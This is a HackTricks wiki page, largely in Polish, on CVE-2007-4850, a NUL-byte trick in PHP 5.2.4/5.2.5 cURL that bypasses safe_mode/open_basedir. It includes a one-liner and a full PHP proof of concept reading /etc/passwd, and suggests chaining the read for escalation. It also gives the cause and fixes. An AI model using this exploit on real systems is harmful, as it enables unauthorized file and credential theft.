PHP 5.2.4 i 5.2.5 PHP cURL
Reading time: 4 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ta strona dokumentuje przestarzały, ale wciąż przydatny w CTF-ach / lokalnych przestarzałych instalacjach trik pozwalający obejść sprawdzenia PHP safe_mode/open_basedir przy użyciu rozszerzenia cURL w określonych kompilacjach PHP 5.2.x.
- Dotyczy: PHP 5.2.4 i 5.2.5 z ext/curl włączonym.
- Wpływ: Odczyt dowolnych lokalnych plików pomimo ograniczeń safe_mode lub open_basedir (brak bezpośredniego wykonania kodu).
- ID: CVE-2007-4850.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
One-liner PoC
Jeśli safe_mode lub open_basedir są aktywne i cURL jest włączony, poniższe zwróci zawartość bieżącego skryptu:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
Bardziej szczegółowy PoC (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Uwagi:
- Użyj podwójnych cudzysłowów lub chr(0) aby wstrzyknąć prawdziwy bajt NUL. Percent-encoding (%00) nie będzie działać niezawodnie.
- To jest prymityw odczytu pliku. Połącz z innymi prymitywami (log poisoning, session file inclusion, etc.) aby w razie możliwości uzyskać dalszą eskalację.
Why this works (short)
Luka wynika z tego, jak PHP 5.2.4/5.2.5 wykonywało sprawdzenia safe_mode/open_basedir dla URL-i file:// w ext/curl. Sprawdzenie parsowało URL i weryfikowało składnik ścieżki, ale z powodu obsługi bajtów NUL zweryfikowano inny ciąg niż ten faktycznie używany przez libcurl. W praktyce walidator mógł zatwierdzić część ścieżki po NUL, podczas gdy libcurl używał części przed NUL jako kontenera URL, co umożliwia obejście skutkujące odczytem pliku umieszczonego po bajcie NUL. Zobacz oryginalną analizę i dotknięty makro w curl/interface.c po szczegóły. [CVE-2007-4850].
Constraints and fixes
- Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
- Only affects very old PHP deployments; safe_mode was removed in PHP 5.4 and modern builds do not exhibit this behavior.
See also
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
References
- Wpis Ubuntu CVE z odnośnikami do patchy i dotkniętymi wersjami: https://ubuntu.com/security/CVE-2007-4850
- Szczegółowy opis techniczny z kontekstem kodu (cxsecurity): http://cxsecurity.com/issue/WLB-2008010060
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.